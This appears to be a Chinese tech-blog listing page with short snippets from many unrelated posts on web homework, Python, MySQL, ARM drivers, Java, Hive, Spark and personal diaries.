HTML网页设计制作大作业（div+css）云南我的家乡旅游景点带文字滚动二挡起步 web前端期末大作业 web设计网页规划与设计 html css javascript dreamweaver 前端
Web前端开发技术描述网页设计题材，DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作HTML期末大学生网页设计作业HTML：结构CSS：样式在操作方面上运用了html5和css3，采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScript：做与用户的交互行为文章目录前端学习路线
Day1笔记-Python简介&标识符和关键字&输入输出 ~在杰难逃~ Python python 开发语言大数据数据分析数据挖掘
大家好，从今天开始呢，杰哥开展一个新的专栏，当然，数据分析部分也会不定时更新的，这个新的专栏主要是讲解一些Python的基础语法和知识，帮助0基础的小伙伴入门和学习Python，感兴趣的小伙伴可以开始认真学习啦！一、Python简介【了解】1.计算机工作原理编程语言就是用来定义计算机程序的形式语言。我们通过编程语言来编写程序代码，再通过语言处理程序执行向计算机发送指令，让计算机完成对应的工作，编程
MYSQL面试系列-04 king01299 面试 mysql 面试
MYSQL面试系列-0417.关于redolog和binlog的刷盘机制、redolog、undolog作用、GTID是做什么的？innodb_flush_log_at_trx_commit及sync_binlog参数意义双117.1innodb_flush_log_at_trx_commit该变量定义了InnoDB在每次事务提交时，如何处理未刷入（flush）的重做日志信息（redolog）。它
人工智能时代，程序员如何保持核心竞争力？ jmoych 人工智能
随着AIGC（如chatgpt、midjourney、claude等）大语言模型接二连三的涌现，AI辅助编程工具日益普及，程序员的工作方式正在发生深刻变革。有人担心AI可能取代部分编程工作，也有人认为AI是提高效率的得力助手。面对这一趋势,程序员应该如何应对?是专注于某个领域深耕细作，还是广泛学习以适应快速变化的技术环境?又或者，我们是否应该将重点转向AI无法轻易替代的软技能？让我们一起探讨程序员
node.js学习小猿L node.js node.js 学习 vim
node.js学习实操及笔记温故node.js，node.js学习实操过程及笔记~node.js学习视频node.js官网node.js中文网实操笔记githubcsdn笔记为什么学node.js可以让别人访问我们编写的网页为后续的框架学习打下基础，三大框架vuereactangular离不开node.jsnode.js是什么官网：node.js是一个开源的、跨平台的运行JavaScript的运行
阶段总结反思轻争
马上就要进入10月份了，今天做一下前段时间的总结和反思。前段时间，日更、英语、健身、护肤坚持的比较好。阅读、书法坚持的不好。1.中间被迫停更半个多月，其余时间一直在坚持日更挑战。偶尔也有不想写的时候，就做一下摘抄。因为阅读（输入）没跟上来，所以写作（输出）质量有待进一步加强。2.英语做到了一周至少学习5天，每次不少于30分钟，但是小班课没有跟上更新速度，下一步要争取利用零碎时间补听小班课。3.减肥
ARM驱动学习之基础小知识 JT灬新一 ARM 嵌入式 arm开发学习
ARM驱动学习之基础小知识•sch原理图工程师工作内容–方案–元器件选型–采购（能不能买到，价格）–原理图（涉及到稳定性）•layout画板工程师–layout（封装、布局，布线，log）（涉及到稳定性）–焊接的一部分工作（调试阶段板子的焊接）•驱动工程师–驱动，原理图，layout三部分的交集容易发生矛盾•PCB研发流程介绍–方案，原理图(网表)–layout工程师（gerber文件）–PCB板
ARM驱动学习之5 LEDS驱动 JT灬新一嵌入式 C 底层 arm开发学习单片机
ARM驱动学习之5LEDS驱动知识点：•linuxGPIO申请函数和赋值函数–gpio_request–gpio_set_value•三星平台配置GPIO函数–s3c_gpio_cfgpin•GPIO配置输出模式的宏变量–S3C_GPIO_OUTPUT注意点：DRIVER_NAME和DEVICE_NAME匹配。实现步骤：1.加入需要的头文件：//Linux平台的gpio头文件#include//三
ARM驱动学习之4小结 JT灬新一嵌入式 C++arm开发学习 linux
ARM驱动学习之4小结#include#include#include#include#include#defineDEVICE_NAME"hello_ctl123"MODULE_LICENSE("DualBSD/GPL");MODULE_AUTHOR("TOPEET");staticlonghello_ioctl(structfile*file,unsignedintcmd,unsignedlo
展现思维导图魅力，不断挖掘人生宝藏思维导图讲师Mandy
第13期最强思维导图训练营已经结束一周了，但是我依旧是感觉所有学员还在努力的学习，这些学员中有教师、学生、白领、公务员、宝妈等等，只要你努力，只要你想改变自己，任何行业，任何岗位都可以参与进来，28天足以让你见成效，在这28天中，我们的学员不仅仅是收获了一枚毕业证，最重要的是让自己的思维方式得到升级，今天的你为自己投资，明天的你就会感谢你今天的付出，我们来听一听来自13期最强思维导图训练营优秀学员
2019-3-23晨间日记红红火火小耳朵
今天是什么日子起床：7点40就寝：23点半天气：有太阳，不过一会儿出来一会儿进去特别清爽的凉意，还蛮舒服的心情：小激动要给女朋友过生日啦纪念日：田田女士过生日任务清单昨日完成的任务，最重要的三件事：1.英语一对一2.运动计划3.认真护肤习惯养成：调整状态周目标·完成进度英语七天打卡（5/7）轻课阅读（87/180）音标课（25/30）读书（福尔摩斯一章）学习·信息·阅读#英语课#Cookingte
【华为OD技术面试真题精选 - 非技术题】 -HR面，综合面_华为od hr面一个射手座的程序媛程序员华为od 面试职场和发展
最后的话最近很多小伙伴找我要Linux学习资料，于是我翻箱倒柜，整理了一些优质资源，涵盖视频、电子书、PPT等共享给大家！资料预览给大家整理的视频资料：给大家整理的电子书资料：如果本文对你有帮助，欢迎点赞、收藏、转发给朋友，让我有持续创作的动力！网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。需要这份系统化的资料的朋友，可以点击这里获
教育用心灵温暖心灵
@陈春丽长期学习班冯倩。今天一早就听到说高职合并，取消中专教育的教育信息。感觉是虽然知道，再听还是吓一跳。国家重视职业教育为何还要取消中专技术学校的教育？再听高中就要进行技术教育了，一部分人学习好继续努力学习考大学，一部分人在高中就可以进行职业教育接受职业教育了还要中专技术教育学校干什么呢！a有些职业教育学校转型升级快，不是孩子上完给找工作，而是学校帮孩子创业，我觉得是不错的方向！新闻新你得实时更
数字里的世界17期：2021年全球10大顶级数据中心，中国移动榜首张三叨
你知道吗？2016年，全球的数据中心共计用电4160亿千瓦时，比整个英国的发电量还多40％！前言每天，我们都会创造超过250万TB的数据。并且随着物联网（IOT）的不断普及，这一数据将持续增长。如此庞大的数据被存储在被称为“数据中心”的专用设施中。虽然最早的数据中心建于20世纪40年代，但直到1997-2000年的互联网泡沫期间才逐渐成为主流。当前人类的技术，比如人工智能和机器学习，已经将我们推向
学习“论语”-第59天春峰轩
12.14子张问政。子曰：“居之无倦，行之以忠。”子张问为政之道。孔子说：“在位尽职不懈怠，执行政令要忠诚。”12.15子曰：“博学于文，约之以礼，亦可以弗畔矣夫！”孔子说：“君子广泛地学习文献，并且用礼节约束自己，也就不会离经叛道了。”12.16子曰：“君子成人之美，不成人之恶。小人反是。”孔子说：“君子成全别人的好事，而不助长别人的坏处。小人则与此相反行事。”知识点:“成人之美，不成人之恶”贯
SQL的各种连接查询 xieke90 UNION ALL UNION 外连接内连接 JOIN
一、内连接概念：内连接就是使用比较运算符根据每个表共有的列的值匹配两个表中的行。内连接（join 或者inner join ） SQL语法： select * fron
java编程思想--复用类百合不是茶 java 继承代理组合 final类
复用类看着标题都不知道是什么,再加上java编程思想翻译的比价难懂,所以知道现在才看这本软件界的奇书一:组合语法:就是将对象的引用放到新类中即可代码: package com.wj.reuse; /** * * @author Administrator 组
[开源与生态系统]国产CPU的生态系统 comsci cpu
计算机要从娃娃抓起...而孩子最喜欢玩游戏.... 要让国产CPU在国内市场形成自己的生态系统和产业链,国家和企业就不能够忘记游戏这个非常关键的环节.... 投入一些资金和资源,人力和政策,让游
JVM内存区域划分Eden Space、Survivor Space、Tenured Gen，Perm Gen解释商人shang jvm内存
jvm区域总体分两类，heap区和非heap区。heap区又分：Eden Space（伊甸园）、Survivor Space(幸存者区)、Tenured Gen（老年代-养老区）。非heap区又分：Code Cache(代码缓存区)、Perm Gen（永久代）、Jvm Stack(java虚拟机栈)、Local Method Statck(本地方法栈)。 HotSpot虚拟机GC算法采用分代收
页面上调用 QQ oloz qq
<A href="tencent://message/?uin=707321921&Site=有事Q我&Menu=yes"> <img style="border:0px;" src=http://wpa.qq.com/pa?p=1:707321921:1></a>
一些问题文强chu 问题
1.eclipse 导出 doc 出现“The Javadoc command does not exist.” javadoc command 选择 jdk/bin/javadoc.exe 2.tomcate 配置 web 项目 ..... SQL:3.mysql * 必须得放前面否则 select&nbs
生活没有安全感小桔子生活孤独安全感
圈子好小，身边朋友没几个，交心的更是少之又少。在深圳，除了男朋友，没几个亲密的人。不知不觉男朋友成了唯一的依靠，毫不夸张的说，业余生活的全部。现在感情好，也很幸福的。但是说不准难免人心会变嘛，不发生什么大家都乐融融，发生什么很难处理。我想说如果不幸被分手(无论原因如何)，生活难免变化很大，在深圳，我没交心的朋友。明
php 基础语法 aichenglong php 基本语法
1 .1 php变量必须以$开头 <?php $a=” b”; echo ?> 1 .2 php基本数据库类型 Integer float/double Boolean string 1 .3 复合数据类型数组array和对象 object 1 .4 特殊数据类型 null 资源类型(resource) $co
mybatis tools 配置详解 AILIKES mybatis
MyBatis Generator中文文档 MyBatis Generator中文文档地址： http://generator.sturgeon.mopaas.com/ 该中文文档由于尽可能和原文内容一致，所以有些地方如果不熟悉，看中文版的文档的也会有一定的障碍，所以本章根据该中文文档以及实际应用，使用通俗的语言来讲解详细的配置。本文使用Markdown进行编辑，但是博客显示效
继承与多态的探讨百合不是茶 JAVA面向对象继承对象
继承 extends 多态继承是面向对象最经常使用的特征之一：继承语法是通过继承发、基类的域和方法 //继承就是从现有的类中生成一个新的类，这个新类拥有现有类的所有extends是使用继承的关键字：在A类中定义属性和方法； class A{ //定义属性 int age； //定义方法 public void go
JS的undefined与null的实例 bijian1013 JavaScript JavaScript
<form name="theform" id="theform"> </form> <script language="javascript"> var a alert(typeof(b)); //这里提示undefined if(theform.datas
TDD实践（一） bijian1013 java 敏捷 TDD
一.TDD概述 TDD：测试驱动开发，它的基本思想就是在开发功能代码之前，先编写测试代码。也就是说在明确要开发某个功能后，首先思考如何对这个功能进行测试，并完成测试代码的编写，然后编写相关的代码满足这些测试用例。然后循环进行添加其他功能，直到完全部功能的开发。
[Maven学习笔记十]Maven Profile与资源文件过滤器 bit1129 maven
什么是Maven Profile Maven Profile的含义是针对编译打包环境和编译打包目的配置定制，可以在不同的环境上选择相应的配置，例如DB信息，可以根据是为开发环境编译打包，还是为生产环境编译打包，动态的选择正确的DB配置信息 Profile的激活机制 1.Profile可以手工激活，比如在Intellij Idea的Maven Project视图中可以选择一个P
【Hive八】Hive用户自定义生成表函数(UDTF) bit1129 hive
1. 什么是UDTF UDTF，是User Defined Table-Generating Functions，一眼看上去，貌似是用户自定义生成表函数，这个生成表不应该理解为生成了一个HQL Table，貌似更应该理解为生成了类似关系表的二维行数据集 2. 如何实现UDTF 继承org.apache.hadoop.hive.ql.udf.generic
tfs restful api 加auth 2.0认计 ronin47
　　目前思考如何给tfs的ngx-tfs api增加安全性。有如下两点：　　一是基于客户端的ip设置。这个比较容易实现。　　二是基于OAuth2.0认证，这个需要lua，实现起来相对于一来说，有些难度。　　现在重点介绍第二种方法实现思路。　　前言：我们使用Nginx的Lua中间件建立了OAuth2认证和授权层。如果你也有此打算，阅读下面的文档，实现自动化并获得收益。SeatGe
jdk环境变量配置 byalias java jdk
进行java开发，首先要安装jdk，安装了jdk后还要进行环境变量配置： 1、下载jdk（http://java.sun.com/javase/downloads/index.jsp），我下载的版本是：jdk-7u79-windows-x64.exe 2、安装jdk-7u79-windows-x64.exe 3、配置环境变量：右击"计算机"-->&quo
《代码大全》表驱动法-Table Driven Approach-2 bylijinnan java
package com.ljn.base; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.Collections; import java.uti
SQL 数值四舍五入小数点后保留2位 chicony 四舍五入
1.round() 函数是四舍五入用，第一个参数是我们要被操作的数据，第二个参数是设置我们四舍五入之后小数点后显示几位。 2.numeric 函数的2个参数，第一个表示数据长度，第二个参数表示小数点后位数。例如：　　select cast(round(12.5,2) as numeric(5,2))
c++运算符重载 CrazyMizzz C++
一、加+，减-，乘*，除/ 的运算符重载 Rational operator*(const Rational &x) const{ return Rational(x.a * this->a); } 在这里只写乘法的，加减除的写法类似二、<<输出,>>输入的运算符重载 &nb
hive DDL语法汇总 daizj hive 修改列 DDL 修改表
hive DDL语法汇总１、对表重命名 hive> ALTER TABLE table_name RENAME TO new_table_name; 2、修改表备注 hive> ALTER TABLE table_name SET TBLPROPERTIES ('comment' = new_comm
jbox使用说明 dcj3sjt126com Web
参考网址：http://www.kudystudio.com/jbox/jbox-demo.html jBox v2.3 beta [ 点击下载] 技术交流QQGroup：172543951 100521167 [2011-11-11] jBox v2.3 正式版 - [调整&修复] IE6下有iframe或页面有active、applet控件
UISegmentedControl 开发笔记 dcj3sjt126com
// typedef NS_ENUM(NSInteger, UISegmentedControlStyle) { // UISegmentedControlStylePlain, // large plain &
Slick生成表映射文件 ekian scala
Scala添加SLICK进行数据库操作，需在sbt文件上添加slick-codegen包 "com.typesafe.slick" %% "slick-codegen" % slickVersion 因为我是连接SQL Server数据库，还需添加slick-extensions，jtds包 "com.typesa
ES-TEST gengzg test
package com.MarkNum; import java.io.IOException; import java.util.Date; import java.util.HashMap; import java.util.Map; import javax.servlet.ServletException; import javax.servlet.annotation
为何外键不再推荐使用 hugh.wang mysql DB
表的关联，是一种逻辑关系，并不需要进行物理上的“硬关联”，而且你所期望的关联，其实只是其数据上存在一定的联系而已，而这种联系实际上是在设计之初就定义好的固有逻辑。在业务代码中实现的时候，只要按照设计之初的这种固有关联逻辑来处理数据即可，并不需要在数据库层面进行“硬关联”，因为在数据库层面通过使用外键的方式进行“硬关联”，会带来很多额外的资源消耗来进行一致性和完整性校验，即使很多时候我们并不
领域驱动设计 julyflame VO DAO 设计模式 DTO po
概念： VO（View Object）：视图对象，用于展示层，它的作用是把某个指定页面（或组件）的所有数据封装起来。 DTO（Data Transfer Object）：数据传输对象，这个概念来源于J2EE的设计模式，原来的目的是为了EJB的分布式应用提供粗粒度的数据实体，以减少分布式调用的次数，从而提高分布式调用的性能和降低网络负载，但在这里，我泛指用于展示层与服务层之间的数据传输对
单例设计模式 hm4123660 java Singleton 单例设计模式懒汉式饿汉式
单例模式是一种常用的软件设计模式。在它的核心结构中只包含一个被称为单例类的特殊类。通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问，从而方便对实例个数的控制并节约系统源。如果希望在系统中某个类的对象只能存在一个，单例模式是最好的解决方案。 &nb
logback zhb8015 log logback
一、logback的介绍 Logback是由log4j创始人设计的又一个开源日志组件。logback当前分成三个模块：logback-core,logback- classic和logback-access。logback-core是其它两个模块的基础模块。logback-classic是log4j的一个改良版本。此外logback-class
整合Kafka到Spark Streaming——代码示例和挑战 Stark_Summer spark storm zookeeper PARALLELISM processing
作者Michael G. Noll是瑞士的一位工程师和研究员，效力于Verisign，是Verisign实验室的大规模数据分析基础设施（基础Hadoop）的技术主管。本文，Michael详细的演示了如何将Kafka整合到Spark Streaming中。期间， Michael还提到了将Kafka整合到 Spark Streaming中的一些现状，非常值得阅读，虽然有一些信息在Spark 1.2版
spring-master-slave-commondao 王新春 DAO spring dataSource slave master
互联网的web项目，都有个特点：请求的并发量高，其中请求最耗时的db操作，又是系统优化的重中之重。为此，往往搭建 db的一主多从库的数据库架构。作为web的DAO层，要保证针对主库进行写操作，对多个从库进行读操作。当然在一些请求中，为了避免主从复制的延迟导致的数据不一致性，部分的读操作也要到主库上。（这种需求一般通过业务垂直分开，比如下单业务的代码所部署的机器，读去应该也要从主库读取数